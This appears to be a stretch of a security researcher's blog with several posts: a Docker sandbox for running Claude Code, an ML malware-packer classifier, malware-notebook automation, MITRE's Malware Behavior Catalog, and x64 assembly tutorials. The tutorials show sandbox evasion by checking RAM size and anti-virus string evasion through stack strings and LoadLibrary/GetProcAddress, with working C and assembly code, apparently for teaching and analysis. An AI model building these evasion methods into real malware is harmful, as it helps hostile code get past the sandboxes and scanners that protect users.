I use this daily for my own work, but it's not polished enough for others to pick up without reading through the scripts first. Maybe later.

Current limitations

Network lockdown state doesn't persist across container restarts. Restart the container and you're back to full network access.
Custom image builds happen automatically but failures silently fall back to the base image. You might not notice a package didn't install.
X11 forwarding is a security surface I'm not entirely comfortable with, but I haven't found a better solution for browser auth.

What I actually use it for

Most days I run Claude Code in lockdown mode for general coding tasks. When I need it to fetch documentation or install packages, I toggle lockdown off, let it do its thing, then toggle it back on.

For security research projects, the isolation gives me peace of mind. The AI can analyze suspicious code, suggest modifications, even run tests, all without access to my actual filesystem or network.

It's not perfect containment. Docker isn't a security boundary the way a VM is. But it's enough friction that an AI agent can't accidentally (or intentionally) do something I'd regret.

For now, this setup works for my needs. The paranoia tax is a few extra seconds on startup and occasional friction with browser auth. Worth it.

The threat landscape that motivated this setup is covered in Developer Tools Are the New Attack Surface.

For another Claude Code workflow improvement, see the session retrospective skill I built to capture lessons from each coding session.

Classifying More With Less: New VGL4NT Update

2023-05-20T06:46:00+08:00

TLDR:

Packed malware machine learning classifier can only previously identify 10 packers
Solution was a customized version of model ensembling, which is to train multiple models and resolve their results
It works with a slight caveat of more extended training and processing, which I could happily live with

I recently presented VGL4NT, my tool that uses machine learning to classify packed malware, at the Blackhat Middle East and Africa meetup. During my talk, I candidly shared one of the tool's limitations which is it can only identify 10 packers because of my hardware constraints. If I want it to be able to identify more, I need to get more GPU (which will be costly) or keep my money and come up with a clever solution. Well, this post is about the latter.

A Simple Solution

The solution I came up with isn't exactly original. It's based on Task Decomposition, which involves training separate models for different categories and combining their predictions. This way, I could double the classification capacity without requiring additional hardware resources.

This was implemented by creating multiple machine learning models, each specializing in recognizing a subset of packers. The real challenge, however, lies in combining the predictions from these models to form a unified output.

Here's how the process works:

The packed malware file is fed into Model 1, which outputs probabilities for Packer 1, Packer 2, and Others. For example, it might produce:

Packer 1: 10%
Packer 2: 20%
Others: 70%

The same file is then fed into Model 2, which outputs probabilities for Packer 3, Packer 4, and Others. For instance:

Packer 3: 60%
Packer 4: 30%
Others: 10%

I then take the 'Others' category with the lowest probability. For our example, the final 'Others' probability would be 10% from Model 2.

The final probabilities are:

Packer 1: 10%
Packer 2: 20%
Packer 3: 60%
Packer 4: 30%
Others: 10%

Packer 3 has the highest probability in this example, and the file is classified as such.

This simple combination approach ensures I maintain a suitable probability distribution while leveraging each model's strengths. The beauty of this method is not only its efficiency but also its scalability. I can introduce more models, each specializing in different packers, to further increase the classification capabilities.

Now you might wonder why I'd even write about this if the solution is this simple. The funny thing is I've explored multiple approaches to unifying the output. Before this, I fully implemented a complicated approach, only to later realize while writing this blog post that a much simpler approach works well enough for the tool's purpose.

Downsides

I am conscious that this may or may not be the most effective method to tackle this problem. But what is essential is that the current computation is simple and can maintain the appropriate prediction distribution based on the relative percentages. In essence, the category with the highest confidence score will always come out on top in the final output, primarily what users of my tool are interested in.

Aside from this, I am concerned that increasing the number of categories also increases training and prediction time. I'm not too worried about the increase in training time because this happens behind the scenes and remains unseen to users of my tool. I'm slightly concerned about the longer prediction time, as all models need to process each submission to the tool. And as I plan to incorporate more packer tool categories, the prediction time will definitely rise.

These downsides are not too much of a problem, however. They can easily be fixed if I find they are not meeting the tool's goals. For now, these will do.

Conclusion

I am genuinely happy with my progress with the VGL4NT Malware Packer Classifier. There are other topics I want to tackle, but I'll save those for future blog posts.

In the meantime, I invite you to check out the tool and see the changes yourself. Visit the VGL4NT website to get started. And for a more detailed walkthrough, you can also watch this YouTube video I created

Classifying Malware Packers Using Machine Learning

2023-04-22T08:44:00+08:00

The recent rise in popularity of AI reignited my interest in machine learning. It inspired me to dive deeper into understanding how it can be applied to malware analysis and, more importantly, how to better detect malware packers, as almost every malware nowadays uses them.

My research and experiments eventually led me to make a web app, which I call the VGL4NT Malware Packer Classifier (https://packers.vgl4nt.com/).).

(For those curious, V.G.L.4.N.T. is a play on "Vigilant" and stands for "Visual Guided Learning 4 Neutralizing Threats")

Current State of Packer Detection

Traditional packer detection approaches like DiE (Detect it Easy) and Yara rules depend on known signatures and patterns to identify packers. These tools scrutinize a file for specific indicators, like unique sequences of bytes or strings. While effective in many cases, they have drawbacks, like when a packer is modified or if the sequence of bytes or strings are altered.

By using machine learning, the VGL4NT Malware Packer Classifier can be able to take into account minute differences and still be able to detect the packer used.

How it works

The uploaded executable file's bytes are converted into grayscale values, creating an image..
The grayscale image is then fed into an image machine-learning model I trained from scratch.
It returns a list of percentages on how similar it is to other Packers.

The approach above is nothing new and is based on this academic paper. The difference is that the paper has a tool that classifies malware families, while mine classifies the packers used.

Most of the magic happens in the model itself. I've trained it on several packed malware samples and measured its accuracy using multiple iterations. The latest version of this model has a 94% accuracy, which is calculated by comparing the model's predictions to the actual packer labels in a dataset that the model hasn't seen before (the test dataset).

Current limitations

The app works for the most part, but it has its limitations. For example, users can only upload executable files (EXE, Bin, ELF, DLLs, etc) with a maximum size limit of 10MB.

Furthermore, due to costs of GPU resources during training, only the following packer tools can be classified:

aspack
alienyze
amber
mew
mpress
nspack
pecompact
petite
themida
upx
others (Everything else)

The list of packer tools above was chosen based on available real-world malware samples that I have encountered or studied.

Future Plans and Updates

If this project gains enough interest, then I plan to add more improvements, such as:

Increase GPU resources to increase the model's capacity to classify more categories
Improvements in the training method by handpicking the most important parts of the executable and then feeding that to the model
Offer an API for integration with existing tools and processes.

Of course, this project would improve a lot with the community's help. I encourage users to provide feedback, report issues, or request new features. Feel free to throw your thoughts to me through my email, karlo@accidentalrebel.com, or Twitter at @accidentalrebel.

For the follow-up where I doubled VGL4NT's classification capacity without extra GPU hardware, see Classifying More With Less: New VGL4NT Update.

For another automated malware analysis tool, see Adding Automation to the Blue-Jupyter Malware Notebook.

Adding Automation to Blue-Jupyter Malware Notebook

2023-01-23T21:02:00+08:00

I came across the Blue-Jupyter project on Github while researching Jupyter notebooks. This short demo video got me excited, so I cloned the project and added some improvements that automate many things when I am looking for malware to investigate.

What are Jupyter Notebooks?

For readers who may be unfamiliar, Jupyter Notebooks are a web-based tool that allows users to create and share documents that contain live code, equations, visualizations, and narrative text. They are a popular tool among data scientists and researchers but have also adapted for use in other fields, such as cybersecurity.

My Additions to the Blue-Jupyter

Many of the changes I've made are focused on automating the process of quickly looking for interesting new samples to investigate.

One addition to the notebook is the automated downloading of samples from Malware Bazaar. This can download a maximum of 100 samples continuously. Additional information is listed to highlight some interesting points about the sample, like the malware signature. It also can skip samples that have already been downloaded to save bandwidth.

The second significant addition is the automated generation of Capa results for each downloaded sample. This makes it easy to see which malware has a particular capability so I can quickly see which ones are interesting enough to investigate further.

I also added minor improvements like error handling, additional logging for troubleshooting, and some cleanup code just in case I want to start fresh.

Check it out

If you are interested in checking it out, you can view my fork of the repository here. I did not request for a pull request on the original branch because I've changed a lot of things that the original owner might not prefer to have. Of course, I encourage everyone to fork what I made and make it their own. That's the beauty of Jupyter notebooks, anyway.

Capa's output maps to the Malware Behavior Catalog (MBC), a MITRE framework that standardizes malware behavior descriptions.

For another automated approach to malware analysis, see how I used machine learning to classify malware packers.

Malware sandbox evasion in x64 assembly by checking ram size - Part 2

2022-08-15T11:29:00+08:00

In the previous post, I explored a sandbox evasion technique that uses GetPhysicallyInstalledSystemMemory to check the size of the RAM of the machine. The idea behind this technique (MBC Technique ID: B0009.014) is that any value that is lower than 4GB may probably be a sandbox (to reduce costs). This information can then be used with other sandbox evasion techniques to confirm.

For part 2 of this series, I'll be talking about an alternative Windows API function called GlobalMemoryStatusEx. This function is as straightforward as the first one, but requires the passing of a pointer to a C struct. This is significant because I'll be converting a working C code to x64 assembly so we can fully understand how it works under the hood.

Using GlobalMemoryStatusEx

Here is an example of an implementation of GlobalMemoryStatusEx in C that we'll later be converting to x64 assembly.

#include <stdio.h>
#include <windows.h>

int main(void)
{
    MEMORYSTATUSEX statex;
    statex.dwLength = sizeof (statex);
    GlobalMemoryStatusEx (&statex);
    printf ("Memory size: %*I64d", 7, statex.ullTotalPhys/1024);
}

You will see that the first parameter for GlobalMemoryStatusEx is expecting a pointer to a MEMORYSTATUSEX object. We need to declare the memory location statex by putting it onto the stack. Before we can do that, however, we first need to know beforehand how much we would need to reserve.

Getting the size of the struct

Finding out the size of a structure in C is easy with the sizeof function. However, we can't really use this in assembly, so we have to determine it manually by adding up the sizes of each member of the struct.

Consider the example struct definition below:

struct TestStruct {
    char member1;
    int member2;
    float member3;
};

If we would look at this table containing the fundamental types and their sizes, we could determine the sizes of each member:

member1 is of type char which has a size of 1 byte
member2 is of type int which is 4 bytes
member3 is of type float which also is 4 bytes

Adding all of these sizes results in TestStruct having a total size of 9 bytes.

Now to apply the same computation to our MEMORYSTATUSEX struct. Here is the definition of the struct according to MSDN:

typedef struct _MEMORYSTATUSEX {
  DWORD     dwLength;
  DWORD     dwMemoryLoad;
  DWORDLONG ullTotalPhys;
  DWORDLONG ullAvailPhys;
  DWORDLONG ullTotalPageFile;
  DWORDLONG ullAvailPageFile;
  DWORDLONG ullTotalVirtual;
  DWORDLONG ullAvailVirtual;
  DWORDLONG ullAvailExtendedVirtual;
} MEMORYSTATUSEX, *LPMEMORYSTATUSEX;

The types that we have are DWORD and DWORDLONG (which is just Window's own version of unsigned long and unsigned int64):

DWORD or unsigned long has a size of 4 bytes
DWORDLONG or unsigned int64 has a size of 8 bytes

So adding the two DWORDs and seven DWORDLONGs results in MEMORYSTATUSEX having a total size of 64 bytes.

Initializing statex

Now that we know the total size, we can now reserve this amount of space on the stack.

    sub rsp, 0x40   ; Reserve space for struct on stack
                    ; MEMORYSTATUSEX's is 64 bytes (0x40) in size

Before we can call GlobalMemoryStatusEx, however, MSDN states that the dwLength member should be first set. And this can be done by assigning 64 bytes to the corresponding memory location on the stack.

    mov rax, 0x40   
    mov [rsp], rax  ; Assign 0x40 to dwLength
    lea rcx, [rsp]  ; Load the memory location of struct

With this we can finally call our function:

    sub rsp, 32     ; Reserve shadow space
    call    GlobalMemoryStatusEx
    add rsp, 32     ; Release shadow space

Using the result

If successful, the function GlobalMemoryStatusEx populates the memory location we passed to it, as shown below:

The struct member ullTotalPhys now has the memory size that we need. And because our stack pointer still points to the beginning of the struct, we can get this value by adding an offset to rsp.

    mov rax, [rsp+0x8]  ; Retrive value of ullTotalPhys from stack

We offset by 0x8 because the first 8 bytes is assigned to dwLength and dwMemoryLoad (both at 4 bytes each).

Displaying the result

As seen above, the value returned by GlobalMemoryStatusEx is in bytes. To be consistent with our example from the previous post, we need to convert this value to kilobytes by dividing it by 1024.

    mov rcx, 1024
    xor rdx, rdx    ; Clear rdx; This is required before calling div
    div rcx         ; Divide by 1024 to convert to KB

The result of the above operation is saved to rax which we can then move to rdx so we can pass it as the second argument to printf.

    mov rdx, rax    ; Argument 2; Result of ullTotalPhys / 1024
    lea rcx, [msg_memory_size]  ; Argument 1; Format string
    sub rsp, 32     ; Reserve shadow space
    call    printf
    add rsp, 32     ; Release shadow space

With this, we can now finally display the result on the console:

Here is the full source code for reference:

    bits 64
    default rel

segment .data
    msg_memory_size db  "Memory size: %lld", 0xd, 0xa, 0

segment .text
    global main
    extern ExitProcess
    extern GlobalMemoryStatusEx
    extern printf

main:
    push    rbp
    mov     rbp, rsp

    sub rsp, 0x40   ; Reserve space for struct on stack
                    ; MEMORYSTATUSEX's is 64 bytes (0x40) in size 

    mov rax, 0x40   
    mov [rsp], rax  ; Assign 0x40 to dwLength
    lea rcx, [rsp]  ; Load the memory location of struct

    sub rsp, 32     ; Reserve shadow space
    call    GlobalMemoryStatusEx
    add rsp, 32     ; Release shadow space

    mov rax, [rsp+0x8]  ; Retrive value of ullTotalPhys from stack
    mov rcx, 1024
    xor     rdx, rdx    ; Clear rdx; This is required before calling div
    div rcx     ; Divide by 1024 to convert to KB

    mov rdx, rax    ; Argument 2; Result of ullTotalPhys / 1024
    lea rcx, [msg_memory_size]  ; Argument 1; Format string
    sub rsp, 32     ; Reserve shadow space
    call    printf
    add rsp, 32     ; Release shadow space

    add rsp, 0x40   ; Release space of struct from stack

    xor     rax, rax
    call    ExitProcess

Conclusion

Over the past two blog posts, we've learned how to use GlobalMemoryStatusEx and GetPhysicallyInstalledSystemMemory to determine the size of the RAM of a machine. We've also learned about using the stack to pass arguments to functions using x64 assembly.

In future posts I plan to continue exploring malware behavior and techniques and at the same time teach x64 assembly so that we can both improve when writing and reverse engineering malware.

Until then, you can view the C and Assembly code along with the build scripts for this evasion technique on this repository here.

Feel free to reach out to me on Twitter or LinkedIn for any questions or comments.

For another x64 assembly evasion technique in this series, see String AV Evasion in x64 Assembly.

Malware sandbox evasion in x64 assembly by checking ram size - Part 1

2022-08-08T11:29:00+08:00

During my malware sandbox evasion research, I stumbled upon the Unprotect Project website. It is a community-contributed repository of evasion techniques used by malware. I saw that the the Checking Memory Size technique doesn't have a example snippet yet so I figured this would be a good first contribution to the project.

What to expect

In this blog post I'll be making a code snippet that showcases how to get the size of a computer's RAM in C. I will then convert this code into x64 assembly, mostly for me to practice writing in it, but also so that we can understand it better.

Checking the memory

The idea behind this evasion technique is simple. Most modern user machines will have at least around 4GB of RAM. Anything lower than that can be an indication that the machine is probably a sandbox (To save costs). While it's not exactly fool-proof, it can be used with other techniques to have a better idea of the machine.

There are two available APIs to get the memory size of a computer on Windows: GetPhysicallyInstalledSystemMemory and GlobalMemoryStatusEx. The former lists the physically installed RAM from the BIOS, while the latter lists the amount available for the operating system to use. Note that the values returned from these two functions will be different but from my tests the difference is only a few hundreds of bytes. Any of these two we can use for our purpose.

Using GetPhysicallyInstalledSystemMemory

Calling GetPhysicallyInstalledSystemMemory in C is simple:

#include <stdio.h>
#include <windows.h>

int main(void)
{
    unsigned long long memory_size = 0;
    GetPhysicallyInstalledSystemMemory(&memory_size);
    printf("Memory size: %lld\n", memory_size);
}

Running the above code shows the following result:

And this is what my memory settings is set to on VMWare:

You'll immediately notice that the returned value is not exactly the same as the memory settings. I, too, wondered about this so I did a couple of tests.

Investigating the results

What I found was that the values that are returned by the GetPhysicallyInstalledSystemMemory in hex format always have the last 3 bytes set to zero. To test this I changed the VM settings and noted the values returned by the program. Here's a table of the results:

VM Settings	Returned Value	In Hex
2000MB	2048000	0x1F4000
3324MB	3403776	0x33F000
4096MB	4194304	0x400000
4338MB	4493312	0x449000
5675MB	5816320	0x58C000

Before you think that this is a VM thing, here is the same behavior with a Windows system that is not on a VM:

Installed RAM	Returned Value	In Hex
16384MB	16777216	0x1000000

According to the MSDN docs, the value returned is taken from the SMBIOS firmware tables. I tried to dig further and found the SMBIOS standard manual and saw that the value in the memory size field is returned in MB. This still doesn't explain why the last 3 digits are always zero though. I'm guessing that the API just truncates the last 3 values and saves the higher bytes?

EDIT(2022-08-15): Twitter user @Endeavxor pointed out that the returned value of "GetPhysicallyInstalledSystemMemory" is expressed in kibibytes instead of kilobytes. This means the result 4194304 when divided by 1024 is 4096 and is exactly the Memory value set in the VM settings. This means the value returned by the function is correct. It's so simple and I missed it!

Before we get hopelessly trapped in the rabbit hole that is OS internals, let's continue by converting our code above to x64 assembly.

Converting to x64 Assembly

Before we can call the GetPhysicallyInstalledSystemMemory function, we first need to reserve space on the stack that will serve as the memory_size local variable. This is where the result of the function will be placed.

    xor rax, rax    ; Clear rax
    push rax        ; Push rax to the stack
    lea rcx, [rsp]  ; Argument 1; Load the memory location of memory_size to rcx

We then call the GetPhysicallyInstalledSystemMemory function making sure that we reserve and release the shadow space.

    sub rsp, 32         ; Reserve shadow space
    call    GetPhysicallyInstalledSystemMemory
    add rsp, 32         ; Release shadow space

Aside: Shadow space

The concept of "Shadow Space" is important in x64 assembly. I've already discussed it briefly in a previous post but you can read up more about it here and then here.

The result on whether GetPhysicallyInstalledSystemMemory succeeded or not is placed in the ax register. It's good practice to add code to handle if a failure occurs, but we won't be bothering with that for our example.

What we are interested in is the value placed in the memory location pointed to by memory_size. We can confirm this by checking the value on the stack, as shown below where 58C000h converts to 5816320 which is roughly near the 5.5 GB setting we have set in VMWare.

A much easier way to confirm is that we can also use the printf function to display the value of memory_size on the console. But before we can do that we first need to declare the format string so we can pass it later as the first argument.

segment .data
    msg_memory_size db  "Memory size: %lld", 0xd, 0xa, 0

We then call printf making sure we load the correct argument data to the respective registers.

    mov rdx, [rsp]             ; Argument 2; Result of GetPhysicallyInstalledSystemMemory
    lea rcx, [msg_memory_size] ; Argument 1; Format string
    sub rsp, 32                ; Reserve shadow space
    call    printf
    add rsp, 32                ; Release shadow space

Running that we can now display the value of the memory.

Here's the full assembly code:

    bits 64
    default rel

segment .data
    msg_memory_size db  "Memory size: %lld", 0xd, 0xa, 0

segment .text
    global main
    extern ExitProcess
    extern GetPhysicallyInstalledSystemMemory
    extern printf

main:
    push    rbp
    mov     rbp, rsp

    xor rax, rax    ; Clear rax
    push    rax     ; Push RAX to the stack
    lea rcx, [rsp]  ; Argument 1; Load the memory location of memory_size to rcx

    sub rsp, 32     ; Reserve shadow space
    call    GetPhysicallyInstalledSystemMemory
    add rsp, 32     ; Release shadow space

    mov rdx, [rsp]  ; Argument 2; Result of GetPhysicallyInstalledSystemMemory
    lea rcx, [msg_memory_size]  ; Argument 1; Format string
    sub rsp, 32     ; Reserve shadow space
    call    printf
    add rsp, 32     ; Release shadow space

    add rsp, 0x8    ; Release the space of memory_size local variable
    xor     rax, rax
    call    ExitProcess

Up next

In the next blog post I'll be showing how to get the size RAM size via an alternative method using GlobalMemoryStatusEx. The code is also straightforward but we'll be exploring how it's values differ from GetPhysicallyInstalledSystemMemory and also how to deal with C structures on the stack in x64 assembly.

For now, you can view the C and Assembly code along with the build scripts on the repository here.

Feel free to reach out to me on Twitter or LinkedIn for any questions or comments.

Talking about Mitre's Malware Behavior Catalog

2022-08-02T15:06:00+08:00

I gave a 10-minute lightning talk at the recently concluded Blackhat Middle East & Africa community meetup. The topic is about Mitre's Malware Behavior Catalog (MBC) framework and the existing tools for it. My reason for selecting this topic is because I feel that more people should know about Mitre's not-so-well-known project.

A brief overview

MBC is a framework made by Mitre, similar to ATT&CK, but focuses on malware. It lists down the common objectives and behaviors commonly seen in malware. The purpose is to have standardize reporting so that everyone would use the same definitions when writing and talking about malware. This also aids with analysis and correlation with other tools.

It has it's own matrix with malware objectives as headers for columns and an entry for each behavior. Each behavior then has a list of methods that explains how that behavior is achieved, example of malware that uses it, and also IDs of ATT&CK techniques related to the behavior.

The tools

There are a number of existing tools that make use of MBC. Flare's Capa lists down MBC along with the related ATT&CK techniques and there's also a repository of MBC community rules for the Cuckoo Sandox.

I find MBC to have a lot of potential so I decided to contribute by making my own tool called MBCScan. It's a simple tool that uses Capa which scans a supplied file and lists the MBC behaviors and objectives associated with it. It also allows you to explore the related information and relationships directly from the command line.

The future

MBC has been around for a number of years already but it still has not risen in popularity. In spite of this, it's still being continuously updated. I hope that by sharing and talking about it it'll help spread awareness and, hopefully, get some adoption.

You can find more information about the project via this video presentation from Mitre. The Github project is here. And the slides are available here.

Capa is also at the center of my Blue-Jupyter malware notebook, which automates Capa scans across batches of downloaded samples.

For the ATT&CK side of MITRE visualization, see vATT&CK, a visual relationship mapper for techniques, malware, and groups.

String anti-virus evasion in x64 assembly (Part 2)

2022-07-09T12:11:00+08:00

In my last blog post, I discussed a way to hide parameter strings from being detected by an anti-virus. The solution was simple and it worked. However, it was incomplete as strings of function calls and loaded DLLs were still detectable in memory.

In this post I'll be talking about the other technique from the same blog post we were following before. It does a good job of explaining the concept which I'll be covering here too. I will also be writing the code in assembly as an added bonus, so we can better understand what goes on under the hood.

The problem

Let's revisit our code from the last time. We have two functions being called ShellExecuteA and ExitProcess.

#include <windows.h>
#include <shellapi.h>

int main(void)
{
    char ca_notepad[] = { 'n','o','t','e','p','a','d',0 };
    ShellExecuteA(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

    ExitProcess(0);
}

Upon compiling the program, the compiler takes the list of all functions used and places them in the executable (In this case, in the .rdata segment) as a readable string:

A function name like ShellExecuteA will be sure to raise some eyebrows so we do not want it to be detectable. To hide this we need to do load the DLL at runtime by using LoadLibrary and GetProcAddress.

Coding in C

LoadLibrary accepts a string containing the DLL that we want to load.

    HANDLE hShell32 = LoadLibrary("shell32.dll");

This loads the DLL's code into memory and returns a handle to that location. We can see the result of this when we look at the memory map in a debugger. Here's the memory map prior to calling LoadLibrary:

And here's what it looks like after:

The LoadLibrary API loaded shell32.dll along with it's dependencies into memory. We can also see that it automatically handled where the new DLLs will be placed. In this case, in between pre-existing ones.

Aside: How do we know which DLL is needed?

We can find out which DLL is needed by a function by looking at it's MSDN documentation. Scroll at the end of every function documentation to see the "Requirements" section that lists the DLL that it needs.

LoadLibrary then returns a HANDLE object which we can then pass to GetProcAddress.

    _ShellExecuteA fShellExecuteA = (_ShellExecuteA) GetProcAddress(hShell32, "ShellExecuteA");

GetProcAddress looks through the library we loaded and returns the address of the ShellExecuteA function. This address needs to be cast to a typedef first before it can be called. This means we need to know the structure of the typedef, which we can determine by looking at the "Syntax" section in MSDN.

Here's the syntax for ShellExecuteA according to its documentation:

HINSTANCE ShellExecuteA(
  [in, optional] HWND   hwnd,
  [in, optional] LPCSTR lpOperation,
  [in]           LPCSTR lpFile,
  [in, optional] LPCSTR lpParameters,
  [in, optional] LPCSTR lpDirectory,
  [in]           INT    nShowCmd
);

And here's our typedef implementation:

typedef HINSTANCE (*_ShellExecuteA) (
    HWND   hwnd,
    LPCSTR lpOperation,
    LPCSTR lpFile,
    LPCSTR lpParameters,
    LPCSTR lpDirectory,
    INT    nShowCmd
);

When everything is setup properly, the variable fShellExecuteA can now be used as a function.

    fShellExecuteA(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

Combining these together, this is what our code will look like:

#include <windows.h>

typedef HINSTANCE (*_ShellExecuteA) (
    HWND   hwnd,
    LPCSTR lpOperation,
    LPCSTR lpFile,
    LPCSTR lpParameters,
    LPCSTR lpDirectory,
    INT    nShowCmd
);

int main(void)
{
    HANDLE hShell32 = LoadLibrary("shell32.dll");
    _ShellExecuteA fShellExecuteA = (_ShellExecuteA) GetProcAddress(hShell32, "ShellExecuteA");

    char ca_notepad[] = { 'n','o','t','e','p','a','d',0 };
    fShellExecuteA(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

    ExitProcess(0);
}

This is not yet done, however, as strings.exe can still detect our strings. This is because we now have strings "shell32.dll" and "ShellExecuteA" as parameters for LoadLibrary and GetProcAddress. And these are placed in the .data segment in memory.

This is where we can use the technique that we used in part 1. By declaring the string as an array as a local variable, the data is placed on the stack instead of in the .data segment.

Applying this technique gives us the following:

    char ca_shell32[] = { 's','h','e','l','l','3','2','.','d','l','l', 0 };
    HANDLE hShell32 = LoadLibrary(ca_shell32);

    char ca_shellExA[] = { 'S','h','e','l','l','E','x','e','c','u','t','e','A', 0 };
    _ShellExecuteA fShellExecuteA = (_ShellExecuteA) GetProcAddress(hShell32, ca_shellExA);

And now we can see that it works!

Converting to assembly

As promised, we'll be converting the code above into x64 windows assembly. It's an extra step, but can give us a better understanding by approaching it from a different programming language.

Starting from the beginning, we'll be using LoadLibraryA and GetProcAddress to dynamically load the ShellExecuteA function at runtime.

If we fast forward a bit, here's what we'll end up with:

    lea rcx, [str_shell32]     ; Load "shell32.dll" string
    sub rsp, 32
    call    LoadLibraryA       ; Call "LoadLibraryA"
    add rsp, 32

    mov rcx, rax               ; Save result of LoadLibraryA to rcx
    lea rdx, [str_shexa]       ; Load "ShellExecuteA" string
    sub rsp, 32
    call    GetProcAddress     ; Call "GetProcAddress"
    add rsp, 32

    mov rbx, rax               ; The address of "ShellExecuteA" is saved to rbx
    ...                        
    ... 
    call    rbx                ; Call "ShellExeecuteA"

Wait, that's it? Yes!

This is the one of those rare moments that the Assembly code is more straightforward than C. This is because the value returned by GetProcAddresss is already an address. Since assembly deals with memory addresses, there's no need for any conversion like we did in the C version. The address can be called directly.

And just like the previous one, the code above is still not complete. The "shell" strings are still visible via strings.exe so we need to apply the technique again from Part 1. I won't be showing it step by step here anymore as it's quite lengthy.

This means that this example piece of code:

    lea rcx, [str_shell32]     ; Load "shell32.dll" string
    sub rsp, 32
    call    LoadLibraryA       ; Call "LoadLibraryA"
    add rsp, 32

Will now be like this:

    sub rsp, 16          ; Place "shell32.dll" string to the stack
    addstr2stack "s", "h", "e", "l", "l", "3", "2", ".", "d", "l", "l", 0x0 
    lea rcx, [rsp]

    sub rsp, 32
    call    LoadLibraryA ; Call "LoadLibraryA"
    add rsp, 32

addstr2stack is a macro we've written before in part 1. It makes declaring an string array easier.

Combining everything again, here's the final assembly code with comments:

    push    rbp
    mov     rbp, rsp
    sub rsp, 32

    ;; = START LOADLIBRARY ===========================================

    sub rsp, 16         ; Place "shell32.dll" string to the stack
    addstr2stack "s", "h", "e", "l", "l", "3", "2", ".", "d", "l", "l", 0x0 
    lea rcx, [rsp]

    sub rsp, 32
    call    LoadLibraryA ; Call LoadLibraryA
    add rsp, 32

    add rsp, 16         ; Release "shell32.dll" string from stack

    ;; = END LOADLIBRARY ===========================================


    ;; = START GETPROCADDRESS ===========================================

    mov rcx, rax        ; Save value to rcx (1st parameter register)

    sub rsp, 16         ; Place "ShellExecuteA" string to the stack
    addstr2stack "S", "h", "e", "l", "l", "E", "x", "e", "c", "u", "t", "e", "A", 0x0
    lea rdx, [rsp]

    sub rsp, 32
    call    GetProcAddress  ; Call GetProcAddress
    add rsp, 32

    add rsp, 16         ; Release "ShellExecuteA" from stack

    ;; = END GETPROCADDRESS ===========================================


    ;; = START SHELLEXECUTEA ===========================================

    mov r12, rax        ; Save address of "ShellExecuteA" to r12 (To be called later)

    sub rsp, 16         ; Place "notepad" string to the stack
    addstr2stack "n", "o", "t", "e", "p", "a", "d", 0x0
    lea r8, [rsp]

    push    0x5
    push    0x0
    xor r9, r9

    lea rdx, [msg_open] 
    xor rcx, rcx

    sub rsp, 32
    call    r12         ; Call "ShellExecuteA", jump to addres
    add rsp, 32

    add rsp, 16         ; Release "notepad" string from stack

    ;; = END SHELLEXECUTEA ===========================================

    xor     rax, rax
    call    ExitProcess

I know there's a lot to digest with the code above. I've made the flow similar to the flow of the C program so you can review them side by side if you feel lost. Hopefully, the comments and the separators would also help.

Note: Pay special attention to how the stack is reserved (with sub rsp, 16) and released (with add rsp, 16). I did not discuss stack alignments as it's a lengthy explanation in itself. But just remember that we are releasing the data once we've finished passing it to the function.

If done correctly, the strings would not be detectable because the data is now on the stack and not in the .data segment.

It is important to note that anti-viruses can employ different techniques to do detection, but a huge part of their functionality will rely on detecting malicious strings. So at least, on that front, we now have an idea on how to defeat it.

You can view the code for part 1 and 2 on Github. Updates and fixes will be placed there.

I might post more assembly shenanigans in the future, so stay tuned.

And as always, for any questions or comments, feel free to reach out to me on Twitter or LinkedIn.

For the foundational x64 Windows assembly concepts used throughout this series, see Converting a Malware Dropper to x64 Assembly.

These evasion techniques were first applied in Making a RAT, where I implemented string obfuscation in a real C project.

String anti-virus evasion in x64 assembly (Part 1)

2022-07-08T12:11:00+08:00

One of the features I implemented for my Remote Access Tool was an anti-virus evasion capability in the form of strings obfuscation. It wouldn't fool an EDR or a reverse engineer but it was quick to implement so I added it.

This was over a year ago. I decided to revisit this feature to try and understand it better and find out if it is actually effective.

What to expect

In this two-part blog post I will look into the following:

Hiding argument strings
Hiding API call strings

THe one you reading now is about the first one. I will be explaining how it's done in C and later convert it to x64 Windows Assembly so we can better understand what's happening under the hood.

Hiding function argument strings

I got the idea for this AV evasion technique from this blog post. The author posits that one part of an anti-virus detection capability is through checking for suspicious strings in an executable.

For the purpose of this post, let's pretend that "notepad" is a suspicious string that we don't want be detected by the anti-virus.

#include <windows.h>
#include <shellapi.h>

int main(void)
{
    ShellExecute(0, "open", "notepad", NULL, NULL, SW_SHOW);
}

You might think that a call to ShellExecute is already a big red flag, and you are right. It is! But we'll talk about hiding API calls on the next post. Let's focus on the parameter for now.

In the place of the anti-virus, we'll be using the strings command to check for visible strings like so:

As expected, the word "notepad" is easily detected. This is becaues any string that we declare and initialize in a program gets placed in the .data segment in memory by the compiler:

To prevent detection, we need a way for the string to not be present in our compiled executable.

The solution

The solution is to declare the string to be passed as the parameter like so:

    char ca_notepad[] = { 'n','o','t','e','p','a','d', 0 };
    ShellExecute(0, "open", ca_notepad, NULL, NULL, SW_SHOW);

And when strings is run, we now see that the "notepad" string is not present anymore.

How did this happen?

This is because data contained in arrays are placed on the stack instead of the .data segment when declared within a function (And also, as long as it is not declared as static).

To further understand how this happens, let's convert this C program into x64 assembly.

Converting to x64 assembly

First, we setup our boilerplate code with an entry point and a call to ExitProcess.

    bits 64
    default rel

segment .text
    global main
    extern ExitProcess

main:
    push    rbp
    mov     rbp, rsp

    xor     rax, rax
    call    ExitProcess

Before we can call ShellExecute, we first need to import the ShellExecuteA symbol using extern.

segment .text
    ...
    extern ExitProcess
    extern ShellExecuteA

Aside: Why ShellExecuteA and not ShellExecute?

Because if you would look in the MSDN documentation, you would find that there really isn't a ShellExecute function available. There are ShellExecuteA (For ANSI strings) and ShellExecuteW (For Unicode strings), however. ShellExecute is just a macro for these two functions. We can confirm this by looking at the shellapi.h source code.

#ifdef UNICODE
#define ShellExecute  ShellExecuteW
#else
#define ShellExecute  ShellExecuteA
#endif // !UNICODE

Since assembly does not use header files we can just call ShellExecuteA or ShellExecuteW directly. In this example, we won't be needing unicode support so we're going to be using the former.

Before we call the function in assembly, let's go back and take a look at how we did it in C.

ShellExecute(0, "open", "notepad", NULL, NULL, SW_SHOW);

We have 5 paremeters to pass to the function. Here's how we can write this in assembly using the Microsoft x64 calling conventions.

    push    0x5              ; nShowCmd ; SW_SHOW == 0x5
    push    0x0              ; lpDirectory ; NULL == 0x0
    xor r9, r9               ; lpParameters ; Clear register == NULL

    lea r8, [msg_notepad]    ; lpFile
